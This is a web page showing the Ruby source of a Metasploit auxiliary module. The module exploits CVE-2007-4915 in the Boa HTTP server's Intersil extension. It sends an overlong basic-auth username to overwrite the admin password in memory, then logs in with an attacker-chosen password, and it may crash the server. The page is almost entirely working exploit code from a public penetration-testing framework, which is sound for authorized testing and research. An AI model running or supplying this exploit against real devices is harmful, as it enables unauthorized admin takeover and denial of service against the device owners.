Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/intersil_pass_reset.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',13'Description' => %q{14The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.1115allows basic authentication bypass when the user string is greater16than 127 bytes long. The long string causes the password to be17overwritten in memory, which enables the attacker to reset the18password. In addition, the malicious attempt also may cause a19denial-of-service condition.2021Please note that you must set the request URI to the directory that22requires basic authentication in order to work properly.23},24'Author' => [25'Luca "ikki" Carettoni <luca.carettoni[at]securenetwork.it>', # original discoverer26'Claudio "paper" Merloni <claudio.merloni[at]securenetwork.it>', # original discoverer27'Max Dietz <maxwell.r.dietz[at]gmail.com>' # metasploit module28],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2007-4915' ],32[ 'BID', '25676'],33[ 'PACKETSTORM', '59347']34],35'DisclosureDate' => '2007-09-10'36)37)3839register_options(40[41OptString.new('TARGETURI', [ true, 'The request URI', '/']),42OptString.new('PASSWORD', [true, 'The password to set', 'pass'])43]44)45end4647def check48res = send_request_cgi({49'uri' => '/',50'method' => 'GET'51})5253if (res && (m = res.headers['Server'].match(%r{Boa/(.*)})))54vprint_status("Boa Version Detected: #{m[1]}")55return Exploit::CheckCode::Safe if (m[1][0].ord - 48 > 0) # boa server wrong version56return Exploit::CheckCode::Safe if (m[1][3].ord - 48 > 4)5758return Exploit::CheckCode::Vulnerable59else60vprint_status('Not a Boa Server!')61return Exploit::CheckCode::Safe # not a boa server62end63rescue Rex::ConnectionRefused64print_error('Connection refused by server.')65return Exploit::CheckCode::Safe66end6768def run69return if check != Exploit::CheckCode::Vulnerable7071uri = normalize_uri(target_uri.path)72uri << '/' if uri[-1, 1] != '/'7374res = send_request_cgi({75'uri' => uri,76'method' => 'GET',77'authorization' => basic_auth(Rex::Text.rand_text_alpha(127), datastore['PASSWORD'])78})7980if res.nil?81print_error('The server may be down')82return83elsif res && (res.code != 401)84print_status("#{uri} does not have basic authentication enabled")85return86end8788print_status('Server still operational. Checking to see if password has been overwritten')89res = send_request_cgi({90'uri' => uri,91'method' => 'GET',92'authorization' => basic_auth('admin', datastore['PASSWORD'])93})9495if !res96print_error('Server timedout, will not continue')97return98end99100case res.code101when 200102print_good("Password reset successful with admin:#{datastore['PASSWORD']}")103when 401104print_error('Access forbidden. The password reset attempt did not work')105else106print_status("Unexpected response: Code #{res.code} encountered")107end108end109end110111112